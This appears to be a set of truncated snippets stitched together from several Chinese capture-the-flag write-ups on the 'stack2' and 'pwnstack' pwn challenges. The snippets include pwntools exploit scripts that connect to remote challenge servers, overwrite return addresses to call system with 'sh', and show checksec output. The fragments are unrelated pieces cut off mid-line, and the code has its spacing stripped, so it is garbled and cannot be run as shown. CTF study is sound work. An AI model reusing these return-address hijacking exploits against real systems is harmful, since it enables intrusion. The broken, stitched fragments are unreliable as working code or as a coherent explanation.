frompwnimport*#io = process("./stack2")io = remote("61.147.171.105",55215) context(log_level='debug')defchange(index,number): io.recvuntil("exit\n") io.sendline(str(3)) io.recvuntil(b"which number to change:\n") io.sendline(str(index)) io.recvuntil("new number:\n") io.sendline...
ok,接下来就可以写exp了,通过其他师傅的wp和测试可以知道环境中是没有 /bin/sh 的,无伤大雅,我们利用它中间的sh就行,然后rop exp如下 frompwnimport*#context.log_level = 'debug'r=remote("111.198.29.45",54649)#r = process("./stack2")r.recvuntil("How many numbers you have:\n")r.sendline("1...
giantbranch@ubuntu:~/Desktop$ file pwn2 pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped giantbranch@ubuntu:~/Desktop$ ...
首先想到的第一个做法是把"/bin/bash"字符串改写为"/bin/sh",但发现这一字符串只开了读权限,所以只能截取"/bin/bash"的后两个字符"sh"作为返回地址,且返回地址应改为call_system指令的位置,并向后写入"sh"的地址,最终exp为: frompwnimport*ret_addr=0xffffcddcebp_addr=0xffffcdc8call_system=0x80485b4...
[原创]攻防世界pwnstack解析 发表于: 2024-3-14 20:57 8766 从main函数来看代码可看到,main函数运行到vuln函数将vuln函数的堆栈填充0xA0个’a’后。堆栈刚好全填充完这里的read api(api是应用程序接口),会写入0xB1个值,这个值大于0xA0,怎么办?这就是栈溢出了。这17个字节,里面是什么值,也不是固定的。可是...
我随后上传这个pwn程序。在linux系统上。保护机制是这样的:Linux系统保护机制 NX(DEP):数据执行...
giantbranch@ubuntu:~/Desktop$ checksec pwn2[*]'/home/giantbranch/Desktop/pwn2'Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE(0x400000)giantbranch@ubuntu:~/Desktop$ strings pwn2|grep sh ...